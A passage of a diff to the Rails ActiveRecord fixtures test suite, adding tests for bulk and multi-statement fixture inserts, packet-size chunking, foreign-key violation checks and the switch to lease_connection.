+      assert_equal 1, subscriber.events.size, "It takes one INSERT query to insert two fixtures"
+    ensure
+      ActiveSupport::Notifications.unsubscribe(subscription)
+    end
+
+    def test_bulk_insert_multiple_table_with_a_multi_statement_query
+      subscriber = InsertQuerySubscriber.new
+      subscription = ActiveSupport::Notifications.subscribe("sql.active_record", subscriber)
+
+      create_fixtures("bulbs", "movies", "computers")
+
+      expected_sql = <<~EOS.chop
+        INSERT INTO #{quote_table_name("bulbs")} .*
+        INSERT INTO #{quote_table_name("movies")} .*
+        INSERT INTO #{quote_table_name("computers")} .*
+      EOS
+      assert_equal 1, subscriber.events.size
+      assert_match(/#{expected_sql}/, subscriber.events.first)
+    ensure
+      ActiveSupport::Notifications.unsubscribe(subscription)
+    end
+
+    def test_bulk_insert_with_a_multi_statement_query_raises_an_exception_when_any_insert_fails
+      assert_equal false, Aircraft.columns_hash["wheels_count"].null
+      fixtures = {
+        "aircraft" => [
+          { "name" => "working_aircrafts", "wheels_count" => 2 },
+          { "name" => "broken_aircrafts", "wheels_count" => nil },
+        ]
+      }
+
+      assert_no_difference "Aircraft.count" do
+        assert_raises(ActiveRecord::NotNullViolation) do
+          ActiveRecord::Base.lease_connection.insert_fixtures_set(fixtures)
+        end
+      end
+    end
+
+    def test_bulk_insert_with_a_multi_statement_query_in_a_nested_transaction
+      fixtures = {
+        "traffic_lights" => [
+          { "location" => "US", "state" => ["NY"], "long_state" => ["a"] },
+        ]
+      }
+
+      assert_difference "TrafficLight.count" do
+        ActiveRecord::Base.transaction do
+          conn = ActiveRecord::Base.lease_connection
+          assert_equal 1, conn.open_transactions
+          conn.insert_fixtures_set(fixtures)
+          assert_equal 1, conn.open_transactions
+        end
+      end
+    end
+  end
+
+  if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+    def test_bulk_insert_with_multi_statements_enabled
+      adapter_name = ActiveRecord::Base.lease_connection.adapter_name
+      run_without_connection do |orig_connection|
+        case adapter_name
+        when "Trilogy"
+          ActiveRecord::Base.establish_connection(
+            orig_connection.merge(multi_statement: true)
+          )
+        else
+          ActiveRecord::Base.establish_connection(
+            orig_connection.merge(flags: %w[MULTI_STATEMENTS])
+          )
+        end
+
+        fixtures = {
+          "traffic_lights" => [
+            { "location" => "US", "state" => ["NY"], "long_state" => ["a"] },
+          ]
+        }
+
+        assert_nothing_raised do
+          conn = ActiveRecord::Base.lease_connection
+          conn.execute("SELECT 1; SELECT 2;")
+          case adapter_name
+          when "Trilogy"
+            conn.raw_connection.next_result while conn.raw_connection.more_results_exist?
+          else
+            conn.raw_connection.abandon_results!
+          end
+        end
+
+        assert_difference "TrafficLight.count" do
+          ActiveRecord::Base.transaction do
+            conn = ActiveRecord::Base.lease_connection
+            assert_equal 1, conn.open_transactions
+            conn.insert_fixtures_set(fixtures)
+            assert_equal 1, conn.open_transactions
+          end
+        end
+
+        assert_nothing_raised do
+          conn = ActiveRecord::Base.lease_connection
+          conn.execute("SELECT 1; SELECT 2;")
+          case adapter_name
+          when "Trilogy"
+            conn.raw_connection.next_result while conn.raw_connection.more_results_exist?
+          else
+            conn.raw_connection.abandon_results!
+          end
+        end
+      end
+    end
+
+    def test_bulk_insert_with_multi_statements_disabled
+      adapter_name = ActiveRecord::Base.lease_connection.adapter_name
+      run_without_connection do |orig_connection|
+        case adapter_name
+        when "Trilogy"
+          ActiveRecord::Base.establish_connection(
+            orig_connection.merge(multi_statement: false)
+          )
+        else
+          ActiveRecord::Base.establish_connection(
+            orig_connection.merge(flags: [])
+          )
+        end
+
+        fixtures = {
+          "traffic_lights" => [
+            { "location" => "US", "state" => ["NY"], "long_state" => ["a"] },
+          ]
+        }
+
+        assert_raises(ActiveRecord::StatementInvalid) do
+          conn = ActiveRecord::Base.lease_connection
+          conn.execute("SELECT 1; SELECT 2;")
+          case adapter_name
+          when "Trilogy"
+            conn.raw_connection.next_result while conn.raw_connection.more_results_exist?
+          else
+            conn.raw_connection.abandon_results!
+          end
+        end
+
+        assert_difference "TrafficLight.count" do
+          conn = ActiveRecord::Base.lease_connection
+          conn.insert_fixtures_set(fixtures)
+        end
+
+        assert_raises(ActiveRecord::StatementInvalid) do
+          conn = ActiveRecord::Base.lease_connection
+          conn.execute("SELECT 1; SELECT 2;")
+          case adapter_name
+          when "Trilogy"
+            conn.raw_connection.next_result while conn.raw_connection.more_results_exist?
+          else
+            conn.raw_connection.abandon_results!
+          end
+        end
+      end
+    end
+
+    def test_insert_fixtures_set_raises_an_error_when_max_allowed_packet_is_smaller_than_fixtures_set_size
+      conn = ActiveRecord::Base.lease_connection
+      mysql_margin = 2
+      packet_size = 1024
+      bytes_needed_to_have_a_1024_bytes_fixture = 906
+      fixtures = {
+        "traffic_lights" => [
+          { "location" => "US", "state" => ["NY"], "long_state" => ["a" * bytes_needed_to_have_a_1024_bytes_fixture] },
+        ]
+      }
+
+      conn.stub(:max_allowed_packet, packet_size - mysql_margin) do
+        error = assert_raises(ActiveRecord::ActiveRecordError) { conn.insert_fixtures_set(fixtures) }
+        assert_match(/Fixtures set is too large #{packet_size}\./, error.message)
+      end
+    end
+
+    def test_insert_fixture_set_when_max_allowed_packet_is_bigger_than_fixtures_set_size
+      conn = ActiveRecord::Base.lease_connection
+      packet_size = 1024
+      fixtures = {
+        "traffic_lights" => [
+          { "location" => "US", "state" => ["NY"], "long_state" => ["a" * 51] },
+        ]
+      }
+
+      conn.stub(:max_allowed_packet, packet_size) do
+        assert_difference "TrafficLight.count" do
+          conn.insert_fixtures_set(fixtures)
+        end
+      end
+    end
+
+    def test_insert_fixtures_set_split_the_total_sql_into_two_chunks_smaller_than_max_allowed_packet
+      subscriber = InsertQuerySubscriber.new
+      subscription = ActiveSupport::Notifications.subscribe("sql.active_record", subscriber)
+      conn = ActiveRecord::Base.lease_connection
+      packet_size = 1024
+      fixtures = {
+        "traffic_lights" => [
+          { "location" => "US", "state" => ["NY"], "long_state" => ["a" * 450] },
+        ],
+        "comments" => [
+          { "post_id" => 1, "body" => "a" * 450 },
+        ]
+      }
+
+      conn.stub(:max_allowed_packet, packet_size) do
+        conn.insert_fixtures_set(fixtures)
+
+        assert_equal 2, subscriber.events.size
+        assert_operator subscriber.events.first.bytesize, :<, packet_size
+        assert_operator subscriber.events.second.bytesize, :<, packet_size
+      end
+    ensure
+      ActiveSupport::Notifications.unsubscribe(subscription)
+    end
+
+    def test_insert_fixtures_set_concat_total_sql_into_a_single_packet_smaller_than_max_allowed_packet
+      subscriber = InsertQuerySubscriber.new
+      subscription = ActiveSupport::Notifications.subscribe("sql.active_record", subscriber)
+      conn = ActiveRecord::Base.lease_connection
+      packet_size = 1024
+      fixtures = {
+        "traffic_lights" => [
+          { "location" => "US", "state" => ["NY"], "long_state" => ["a" * 200] },
+        ],
+        "comments" => [
+          { "post_id" => 1, "body" => "a" * 200 },
+        ]
+      }
+
+      conn.stub(:max_allowed_packet, packet_size) do
+        assert_difference ["TrafficLight.count", "Comment.count"], +1 do
+          conn.insert_fixtures_set(fixtures)
+        end
+      end
+      assert_equal 1, subscriber.events.size
+    ensure
+      ActiveSupport::Notifications.unsubscribe(subscription)
+    end
+  end
+
+  def test_auto_value_on_primary_key
+    fixtures = [
+      { "name" => "first", "wheels_count" => 2 },
+      { "name" => "second", "wheels_count" => 3 }
+    ]
+    conn = ActiveRecord::Base.lease_connection
+    assert_nothing_raised do
+      conn.insert_fixtures_set({ "aircraft" => fixtures }, ["aircraft"])
+    end
+    result = conn.select_all("SELECT name, wheels_count FROM aircraft ORDER BY id")
+    assert_equal fixtures, result.to_a
+  end
+
   def test_broken_yaml_exception
     badyaml = Tempfile.new ["foo", ".yml"]
     badyaml.write "a: : "
@@ -70,9 +361,9 @@ def test_broken_yaml_exception
   end
 
   def test_create_fixtures
-    fixtures = ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT, "parrots")
-    assert Parrot.find_by_name("Curious George"), "George is not in the database"
-    assert fixtures.detect { |f| f.name == "parrots" }, "no fixtures named 'parrots' in #{fixtures.map(&:name).inspect}"
+    fixtures = ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT, "organizations")
+    assert Organization.find_by_name("No Such Agency"), "'No Such Agency' is not in the database"
+    assert fixtures.detect { |f| f.name == "organizations" }, "no fixtures named 'organizations' in #{fixtures.map(&:name).inspect}"
   end
 
   def test_multiple_clean_fixtures
@@ -83,7 +374,7 @@ def test_multiple_clean_fixtures
   end
 
   def test_create_symbol_fixtures
-    fixtures = ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT, :collections, collections: Course) { Course.connection }
+    fixtures = ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT, :collections, collections: Course)
 
     assert Course.find_by_name("Collection"), "course is not in the database"
     assert fixtures.detect { |f| f.name == "collections" }, "no fixtures named 'collections' in #{fixtures.map(&:name).inspect}"
@@ -95,73 +386,89 @@ def test_attributes
     assert_nil(topics["second"]["author_email_address"])
   end
 
+  def test_no_args_returns_all
+    all_topics = topics
+    assert_equal 5, all_topics.length
+    assert_equal "The First Topic", all_topics.first["title"]
+    assert_equal 5, all_topics.last.id
+  end
+
+  def test_no_args_record_returns_all_without_array
+    all_binaries = binaries
+    assert_kind_of(Array, all_binaries)
+    assert_equal 2, binaries.length
+  end
+
+  def test_nil_raises
+    assert_raise(StandardError) { topics(nil) }
+    assert_raise(StandardError) { topics([nil]) }
+  end
+
   def test_inserts
     create_fixtures("topics")
-    first_row = ActiveRecord::Base.connection.select_one("SELECT * FROM topics WHERE author_name = 'David'")
+    first_row = ActiveRecord::Base.lease_connection.select_one("SELECT * FROM topics WHERE author_name = 'David'")
     assert_equal("The First Topic", first_row["title"])
 
-    second_row = ActiveRecord::Base.connection.select_one("SELECT * FROM topics WHERE author_name = 'Mary'")
+    second_row = ActiveRecord::Base.lease_connection.select_one("SELECT * FROM topics WHERE author_name = 'Mary'")
     assert_nil(second_row["author_email_address"])
   end
 
-  if ActiveRecord::Base.connection.supports_migrations?
-    def test_inserts_with_pre_and_suffix
-      # Reset cache to make finds on the new table work
-      ActiveRecord::FixtureSet.reset_cache
-
-      ActiveRecord::Base.connection.create_table :prefix_other_topics_suffix do |t|
-        t.column :title, :string
-        t.column :author_name, :string
-        t.column :author_email_address, :string
-        t.column :written_on, :datetime
-        t.column :bonus_time, :time
-        t.column :last_read, :date
-        t.column :content, :string
-        t.column :approved, :boolean, default: true
-        t.column :replies_count, :integer, default: 0
-        t.column :parent_id, :integer
-        t.column :type, :string, limit: 50
-      end
+  def test_inserts_with_pre_and_suffix
+    # Reset cache to make finds on the new table work
+    ActiveRecord::FixtureSet.reset_cache
 
-      # Store existing prefix/suffix
-      old_prefix = ActiveRecord::Base.table_name_prefix
-      old_suffix = ActiveRecord::Base.table_name_suffix
+    ActiveRecord::Base.lease_connection.create_table :prefix_other_topics_suffix do |t|
+      t.column :title, :string
+      t.column :author_name, :string
+      t.column :author_email_address, :string
+      t.column :written_on, :datetime
+      t.column :bonus_time, :time
+      t.column :last_read, :date
+      t.column :content, :string
+      t.column :approved, :boolean, default: true
+      t.column :replies_count, :integer, default: 0
+      t.column :parent_id, :integer
+      t.column :type, :string, limit: 50
+    end
 
-      # Set a prefix/suffix we can test against
-      ActiveRecord::Base.table_name_prefix = "prefix_"
-      ActiveRecord::Base.table_name_suffix = "_suffix"
+    # Store existing prefix/suffix
+    old_prefix = ActiveRecord::Base.table_name_prefix
+    old_suffix = ActiveRecord::Base.table_name_suffix
 
-      other_topic_klass = Class.new(ActiveRecord::Base) do
-        def self.name
-          "OtherTopic"
-        end
+    # Set a prefix/suffix we can test against
+    ActiveRecord::Base.table_name_prefix = "prefix_"
+    ActiveRecord::Base.table_name_suffix = "_suffix"
+
+    other_topic_klass = Class.new(ActiveRecord::Base) do
+      def self.name
+        "OtherTopic"
       end
+    end
 
-      topics = [create_fixtures("other_topics")].flatten.first
+    topics = [create_fixtures("other_topics")].flatten.first
 
-      # This checks for a caching problem which causes a bug in the fixtures
-      # class-level configuration helper.
-      assert_not_nil topics, "Fixture data inserted, but fixture objects not returned from create"
+    # This checks for a caching problem which causes a bug in the fixtures
+    # class-level configuration helper.
+    assert_not_nil topics, "Fixture data inserted, but fixture objects not returned from create"
 
-      first_row = ActiveRecord::Base.connection.select_one("SELECT * FROM prefix_other_topics_suffix WHERE author_name = 'David'")
-      assert_not_nil first_row, "The prefix_other_topics_suffix table appears to be empty despite create_fixtures: the row with author_name = 'David' was not found"
-      assert_equal("The First Topic", first_row["title"])
+    first_row = ActiveRecord::Base.lease_connection.select_one("SELECT * FROM prefix_other_topics_suffix WHERE author_name = 'David'")
+    assert_not_nil first_row, "The prefix_other_topics_suffix table appears to be empty despite create_fixtures: the row with author_name = 'David' was not found"
+    assert_equal("The First Topic", first_row["title"])
 
-      second_row = ActiveRecord::Base.connection.select_one("SELECT * FROM prefix_other_topics_suffix WHERE author_name = 'Mary'")
-      assert_nil(second_row["author_email_address"])
+    second_row = ActiveRecord::Base.lease_connection.select_one("SELECT * FROM prefix_other_topics_suffix WHERE author_name = 'Mary'")
+    assert_nil(second_row["author_email_address"])
 
-      assert_equal :prefix_other_topics_suffix, topics.table_name.to_sym
-      # This assertion should preferably be the last in the list, because calling
-      # other_topic_klass.table_name sets a class-level instance variable
-      assert_equal :prefix_other_topics_suffix, other_topic_klass.table_name.to_sym
+    assert_equal :prefix_other_topics_suffix, topics.table_name.to_sym
+    # This assertion should preferably be the last in the list, because calling
+    # other_topic_klass.table_name sets a class-level instance variable
+    assert_equal :prefix_other_topics_suffix, other_topic_klass.table_name.to_sym
 
-    ensure
-      # Restore prefix/suffix to its previous values
-      ActiveRecord::Base.table_name_prefix = old_prefix
-      ActiveRecord::Base.table_name_suffix = old_suffix
+  ensure
+    # Restore prefix/suffix to its previous values
+    ActiveRecord::Base.table_name_prefix = old_prefix
+    ActiveRecord::Base.table_name_suffix = old_suffix
 
-      ActiveRecord::Base.connection.drop_table :prefix_other_topics_suffix rescue nil
-    end
+    ActiveRecord::Base.lease_connection.drop_table :prefix_other_topics_suffix rescue nil
   end
 
   def test_insert_with_datetime
@@ -170,10 +477,29 @@ def test_insert_with_datetime
     assert first
   end
 
+  def test_insert_with_default_function
+    create_fixtures("aircrafts")
+
+    aircraft = Aircraft.find_by(name: "boeing-with-no-manufactured-at")
+    assert_in_delta Time.now, aircraft.manufactured_at, 1.1
+  end
+
+  def test_insert_with_default_value
+    create_fixtures("aircrafts")
+
+    aircraft = Aircraft.find_by(name: "boeing-with-no-wheels")
+    assert_equal 0, aircraft.wheels_count
+  end
+
   def test_logger_level_invariant
+    previous_logger = ActiveRecord::Base.logger
+    ActiveRecord::Base.logger = ActiveSupport::Logger.new(nil)
+
     level = ActiveRecord::Base.logger.level
     create_fixtures("topics")
     assert_equal level, ActiveRecord::Base.logger.level
+  ensure
+    ActiveRecord::Base.logger = previous_logger
   end
 
   def test_instantiation
@@ -194,28 +520,28 @@ def test_erb_in_fixtures
   end
 
   def test_empty_yaml_fixture
-    assert_not_nil ActiveRecord::FixtureSet.new(Account.connection, "accounts", Account, FIXTURES_ROOT + "/naked/yml/accounts")
+    assert_not_nil ActiveRecord::FixtureSet.new(nil, "accounts", Account, FIXTURES_ROOT + "/naked/yml/accounts")
   end
 
   def test_empty_yaml_fixture_with_a_comment_in_it
-    assert_not_nil ActiveRecord::FixtureSet.new(Account.connection, "companies", Company, FIXTURES_ROOT + "/naked/yml/companies")
+    assert_not_nil ActiveRecord::FixtureSet.new(nil, "companies", Company, FIXTURES_ROOT + "/naked/yml/companies")
   end
 
   def test_nonexistent_fixture_file
     nonexistent_fixture_path = FIXTURES_ROOT + "/imnothere"
 
-    #sanity check to make sure that this file never exists
-    assert Dir[nonexistent_fixture_path + "*"].empty?
+    # Ensure that this file never exists
+    assert_empty Dir[nonexistent_fixture_path + "*"]
 
-    assert_raise(Errno::ENOENT) do
-      ActiveRecord::FixtureSet.new(Account.connection, "companies", Company, nonexistent_fixture_path)
+    assert_raise(ArgumentError) do
+      ActiveRecord::FixtureSet.new(nil, "companies", Company, nonexistent_fixture_path)
     end
   end
 
   def test_dirty_dirty_yaml_file
     fixture_path = FIXTURES_ROOT + "/naked/yml/courses"
     error = assert_raise(ActiveRecord::Fixture::FormatError) do
-      ActiveRecord::FixtureSet.new(Account.connection, "courses", Course, fixture_path)
+      ActiveRecord::FixtureSet.new(nil, "courses", Course, fixture_path)
     end
     assert_equal "fixture is not a hash: #{fixture_path}.yml", error.to_s
   end
@@ -223,7 +549,7 @@ def test_dirty_dirty_yaml_file
   def test_yaml_file_with_one_invalid_fixture
     fixture_path = FIXTURES_ROOT + "/naked/yml/courses_with_invalid_key"
     error = assert_raise(ActiveRecord::Fixture::FormatError) do
-      ActiveRecord::FixtureSet.new(Account.connection, "courses", Course, fixture_path)
+      ActiveRecord::FixtureSet.new(nil, "courses", Course, fixture_path)
     end
     assert_equal "fixture key is not a hash: #{fixture_path}.yml, keys: [\"two\"]", error.to_s
   end
@@ -232,16 +558,19 @@ def test_yaml_file_with_invalid_column
     e = assert_raise(ActiveRecord::Fixture::FixtureError) do
       ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT + "/naked/yml", "parrots")
     end
-    assert_equal(%(table "parrots" has no column named "arrr".), e.message)
+
+    assert_equal(%(table "parrots" has no columns named "arrr", "foobar".), e.message)
   end
 
   def test_yaml_file_with_symbol_columns
     ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT + "/naked/yml", "trees")
+    root = Tree.find(1)
+    assert root
   end
 
   def test_omap_fixtures
     assert_nothing_raised do
-      fixtures = ActiveRecord::FixtureSet.new(Account.connection, "categories", Category, FIXTURES_ROOT + "/categories_ordered")
+      fixtures = ActiveRecord::FixtureSet.new(nil, "categories", Category, FIXTURES_ROOT + "/categories_ordered")
 
       fixtures.each.with_index do |(name, fixture), i|
         assert_equal "fixture_no_#{i}", name
@@ -251,20 +580,21 @@ def test_omap_fixtures
   end
 
   def test_yml_file_in_subdirectory
-    assert_equal(categories(:sub_special_1).name, "A special category in a subdir file")
+    assert_equal("A special category in a subdir file", categories(:sub_special_1).name)
     assert_equal(categories(:sub_special_1).class, SpecialCategory)
   end
 
   def test_subsubdir_file_with_arbitrary_name
-    assert_equal(categories(:sub_special_3).name, "A special category in an arbitrarily named subsubdir file")
+    assert_equal("A special category in an arbitrarily named subsubdir file", categories(:sub_special_3).name)
     assert_equal(categories(:sub_special_3).class, SpecialCategory)
   end
 
   def test_binary_in_fixtures
-    data = File.open(ASSETS_ROOT + "/flowers.jpg", "rb") { |f| f.read }
+    data = File.binread(ASSETS_ROOT + "/flowers.jpg")
     data.force_encoding("ASCII-8BIT")
     data.freeze
     assert_equal data, @flowers.data
+    assert_equal data, @binary_helper.data
   end
 
   def test_serialized_fixtures
@@ -285,11 +615,36 @@ def test_fixtures
 
       result = test_case.new(:test_fixtures).run
 
-      assert result.passed?, "Expected #{result.name} to pass:\n#{result}"
+      assert_predicate result, :passed?, "Expected #{result.name} to pass:\n#{result}"
     end
   ensure
     ENV["DATABASE_URL"] = db_url_tmp
   end
+
+  def test_fixture_method_and_private_alias
+    assert_equal "The First Topic", topics(:first).title
+    assert_equal "The First Topic", fixture(:topics, :first).title
+    assert_equal "The First Topic", active_record_fixture(:topics, :first).title
+  end
+
+  def test_fixture_method_does_not_clash_with_a_test_case_method
+    test_case = Class.new(ActiveRecord::TestCase) do
+      fixtures :accounts
+
+      def test_fixtures
+        assert accounts(:signals37)
+      end
+
+      private
+        def fixture
+          Account.new
+        end
+    end
+
+    result = test_case.new(:test_fixtures).run
+
+    assert_predicate result, :passed?, "Expected #{result.name} to pass:\n#{result}"
+  end
 end
 
 class HasManyThroughFixture < ActiveRecord::TestCase
@@ -297,7 +652,7 @@ def make_model(name)
     Class.new(ActiveRecord::Base) { define_singleton_method(:name) { name } }
   end
 
-  def test_has_many_through_with_default_table_name
+  def test_has_many_through_with_join_table_name_changed_to_match_habtm_table_name
     pt = make_model "ParrotTreasure"
     parrot = make_model "Parrot"
     treasure = make_model "Treasure"
@@ -311,12 +666,12 @@ def test_has_many_through_with_default_table_name
 
     parrots = File.join FIXTURES_ROOT, "parrots"
 
-    fs = ActiveRecord::FixtureSet.new parrot.connection, "parrots", parrot, parrots
+    fs = ActiveRecord::FixtureSet.new(nil, "parrots", parrot, parrots)
     rows = fs.table_rows
     assert_equal load_has_and_belongs_to_many["parrots_treasures"], rows["parrots_treasures"]
   end
 
-  def test_has_many_through_with_renamed_table
+  def test_has_many_through_with_default_table_name_on_join_table
     pt = make_model "ParrotTreasure"
     parrot = make_model "Parrot"
     treasure = make_model "Treasure"
@@ -329,26 +684,31 @@ def test_has_many_through_with_renamed_table
 
     parrots = File.join FIXTURES_ROOT, "parrots"
 
-    fs = ActiveRecord::FixtureSet.new parrot.connection, "parrots", parrot, parrots
+    fs = ActiveRecord::FixtureSet.new(nil, "parrots", parrot, parrots)
     rows = fs.table_rows
     assert_equal load_has_and_belongs_to_many["parrots_treasures"], rows["parrot_treasures"]
   end
 
+  def test_has_and_belongs_to_many_order
+    assert_equal ["parrots", "parrots_treasures"], load_has_and_belongs_to_many.keys
+  end
+
   def load_has_and_belongs_to_many
     parrot = make_model "Parrot"
     parrot.has_and_belongs_to_many :treasures
 
     parrots = File.join FIXTURES_ROOT, "parrots"
 
-    fs = ActiveRecord::FixtureSet.new parrot.connection, "parrots", parrot, parrots
+    fs = ActiveRecord::FixtureSet.new(nil, "parrots", parrot, parrots)
     fs.table_rows
   end
 end
 
-if Account.connection.respond_to?(:reset_pk_sequence!)
+if Account.lease_connection.respond_to?(:reset_pk_sequence!)
   class FixturesResetPkSequenceTest < ActiveRecord::TestCase
     fixtures :accounts
     fixtures :companies
+    self.use_transactional_tests = false
 
     def setup
       @instances = [Account.new(credit_limit: 50), Company.new(name: "RoR Consulting"), Course.new(name: "Test")]
@@ -359,7 +719,7 @@ def test_resets_to_min_pk_with_specified_pk_and_sequence
       @instances.each do |instance|
         model = instance.class
         model.delete_all
-        model.connection.reset_pk_sequence!(model.table_name, model.primary_key, model.sequence_name)
+        model.lease_connection.reset_pk_sequence!(model.table_name, model.primary_key, model.sequence_name)
 
         instance.save!
         assert_equal 1, instance.id, "Sequence reset for #{model.table_name} failed."
@@ -370,7 +730,7 @@ def test_resets_to_min_pk_with_default_pk_and_sequence
       @instances.each do |instance|
         model = instance.class
         model.delete_all
-        model.connection.reset_pk_sequence!(model.table_name)
+        model.lease_connection.reset_pk_sequence!(model.table_name)
 
         instance.save!
         assert_equal 1, instance.id, "Sequence reset for #{model.table_name} failed."
@@ -397,14 +757,14 @@ class FixturesWithoutInstantiationTest < ActiveRecord::TestCase
   fixtures :topics, :developers, :accounts
 
   def test_without_complete_instantiation
-    assert !defined?(@first)
-    assert !defined?(@topics)
-    assert !defined?(@developers)
-    assert !defined?(@accounts)
+    assert_not defined?(@first)
+    assert_not defined?(@topics)
+    assert_not defined?(@developers)
+    assert_not defined?(@accounts)
   end
 
   def test_fixtures_from_root_yml_without_instantiation
-    assert !defined?(@unknown), "@unknown is not defined"
+    assert_not defined?(@unknown), "@unknown is not defined"
   end
 
   def test_visibility_of_accessor_method
@@ -439,7 +799,7 @@ class FixturesWithoutInstanceInstantiationTest < ActiveRecord::TestCase
   fixtures :topics, :developers, :accounts
 
   def test_without_instance_instantiation
-    assert !defined?(@first), "@first is not defined"
+    assert_not defined?(@first), "@first is not defined"
   end
 end
 
@@ -464,7 +824,7 @@ class MultipleFixturesTest < ActiveRecord::TestCase
   fixtures :developers, :accounts
 
   def test_fixture_table_names
-    assert_equal %w(topics developers accounts), fixture_table_names
+    assert_equal %w(accounts developers topics), fixture_table_names
   end
 end
 
@@ -476,6 +836,7 @@ def setup
   end
 
   def test_nothing
+    pass
   end
 end
 
@@ -496,7 +857,7 @@ class OverlappingFixturesTest < ActiveRecord::TestCase
   fixtures :developers, :accounts
 
   def test_fixture_table_names
-    assert_equal %w(topics developers accounts), fixture_table_names
+    assert_equal %w(accounts developers topics), fixture_table_names
   end
 end
 
@@ -516,6 +877,80 @@ def test_number2
   end
 end
 
+class FkObjectToPointTo < ActiveRecord::Base
+  has_many :fk_pointing_to_non_existent_objects
+end
+class FkPointingToNonExistentObject < ActiveRecord::Base
+  belongs_to :fk_object_to_point_to
+end
+
+class FixturesWithForeignKeyViolationsTest < ActiveRecord::TestCase
+  fixtures :fk_object_to_point_to
+
+  def setup
+    # other tests in this file load the parrots fixture but not the treasure one (see `test_create_fixtures`).
+    # this creates FK violations since Parrot and ParrotTreasure records are created.
+    # those violations can cause false positives in these tests. since they aren't related to these tests we
+    # delete the irrelevant records here (this test is transactional so it's fine).
+    Parrot.all.each(&:destroy)
+
+    @path = "/fk_pointing_to_non_existent_object.yml"
+  end
+
+  def test_raises_fk_violations
+    fk_pointing_to_non_existent_object = <<~FIXTURE
+    first:
+      fk_object_to_point_to: one
+    FIXTURE
+    File.write(FIXTURES_ROOT + @path, fk_pointing_to_non_existent_object)
+
+    with_verify_foreign_keys_for_fixtures do
+      if current_adapter?(:SQLite3Adapter, :PostgreSQLAdapter)
+        error = assert_raise RuntimeError do
+          ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT, ["fk_pointing_to_non_existent_object"])
+        end
+        assert_includes error.message, "Foreign key violations found in your fixture data. Ensure you aren't referring to labels that don't exist on associations."
+        assert_includes error.message, "fk_pointing_to_non_existent_objects"
+      else
+        assert_nothing_raised do
+          ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT, ["fk_pointing_to_non_existent_object"])
+        end
+      end
+    end
+
+  ensure
+    File.delete(FIXTURES_ROOT + @path)
+    ActiveRecord::FixtureSet.reset_cache
+  end
+
+  def test_does_not_raise_if_no_fk_violations
+    fk_pointing_to_valid_object = <<~FIXTURE
+    first:
+      fk_object_to_point_to_id: 1
+    FIXTURE
+    File.write(FIXTURES_ROOT + @path, fk_pointing_to_valid_object)
+
+    with_verify_foreign_keys_for_fixtures do
+      assert_nothing_raised do
+        ActiveRecord::FixtureSet.create_fixtures(FIXTURES_ROOT, ["fk_pointing_to_non_existent_object"])
+      end
+    end
+
+  ensure
+    File.delete(FIXTURES_ROOT + @path)
+    ActiveRecord::FixtureSet.reset_cache
+  end
+
+  private
+    def with_verify_foreign_keys_for_fixtures
+      setting_was = ActiveRecord.verify_foreign_keys_for_fixtures
+      ActiveRecord.verify_foreign_keys_for_fixtures = true
+      yield
+    ensure
+      ActiveRecord.verify_foreign_keys_for_fixtures = setting_was
+    end
+end
+
 class OverRideFixtureMethodTest < ActiveRecord::TestCase
   fixtures :topics
 
@@ -535,7 +970,7 @@ class FixtureWithSetModelClassTest < ActiveRecord::TestCase
   fixtures :other_posts, :other_comments
 
   # Set to false to blow away fixtures cache and ensure our fixtures are loaded
-  # and thus takes into account the +set_model_class+.
+  # and thus takes into account the `model_class` set in the fixture.
   self.use_transactional_tests = false
 
   def test_uses_fixture_class_defined_in_yaml
@@ -555,7 +990,7 @@ class SetFixtureClassPrevailsTest < ActiveRecord::TestCase
   fixtures :bad_posts
 
   # Set to false to blow away fixtures cache and ensure our fixtures are loaded
-  # and thus takes into account the +set_model_class+.
+  # and thus takes into account our `set_fixture_class`.
   self.use_transactional_tests = false
 
   def test_uses_set_fixture_class
@@ -563,11 +998,21 @@ def test_uses_set_fixture_class
   end
 end
 
+class FixtureWithSetModelClassPrevailsOverNamingConventionTest < ActiveRecord::TestCase
+  def test_model_class_in_fixture_file_is_respected
+    Object.const_set(:OtherPost, Class.new(ActiveRecord::Base))
+    other_posts = create_fixtures("other_posts").first
+    assert_kind_of Post, other_posts["second_welcome"].find
+  ensure
+    Object.send(:remove_const, :OtherPost)
+  end
+end
+
 class CheckSetTableNameFixturesTest < ActiveRecord::TestCase
   set_fixture_class funny_jokes: Joke
   fixtures :funny_jokes
   # Set to false to blow away fixtures cache and ensure our fixtures are loaded
-  # and thus takes into account our set_fixture_class
+  # and thus takes into account our `set_fixture_class`.
   self.use_transactional_tests = false
 
   def test_table_method
@@ -579,7 +1024,7 @@ class FixtureNameIsNotTableNameFixturesTest < ActiveRecord::TestCase
   set_fixture_class items: Book
   fixtures :items
   # Set to false to blow away fixtures cache and ensure our fixtures are loaded
-  # and thus takes into account our set_fixture_class
+  # and thus takes into account our `set_fixture_class`.
   self.use_transactional_tests = false
 
   def test_named_accessor
@@ -591,7 +1036,7 @@ class FixtureNameIsNotTableNameMultipleFixturesTest < ActiveRecord::TestCase
   set_fixture_class items: Book, funny_jokes: Joke
   fixtures :items, :funny_jokes
   # Set to false to blow away fixtures cache and ensure our fixtures are loaded
-  # and thus takes into account our set_fixture_class
+  # and thus takes into account our `set_fixture_class`.
   self.use_transactional_tests = false
 
   def test_named_accessor_of_differently_named_fixture
@@ -638,38 +1083,112 @@ class TransactionalFixturesOnConnectionNotification < ActiveRecord::TestCase
   self.use_instantiated_fixtures = false
 
   def test_transaction_created_on_connection_notification
-    connection = stub(transaction_open?: false)
-    connection.expects(:begin_transaction).with(joinable: false)
-    fire_connection_notification(connection)
+    connection = Class.new do
+      attr_accessor :pool
+
+      def transaction_open?; end
+      def begin_transaction(*args); end
+      def rollback_transaction(*args); end
+      def connect!; end
+    end.new
+
+    pool = connection.pool = Class.new do
+      attr_accessor :db_config
+
+      def initialize(connection); @connection = connection; end
+      def lease_connection; @connection; end
+      def release_connection; end
+      def pin_connection!(_); end
+      def unpin_connection!; @connection.rollback_transaction; true; end
+    end.new(connection)
+
+    connection.pool.db_config = Class.new do
+      attr_accessor :name
+      def initialize(name); @name = name; end
+    end.new("database_name")
+
+    assert_called_with(pool, :pin_connection!, [true]) do
+      fire_connection_notification(connection.pool)
+    end
   end
 
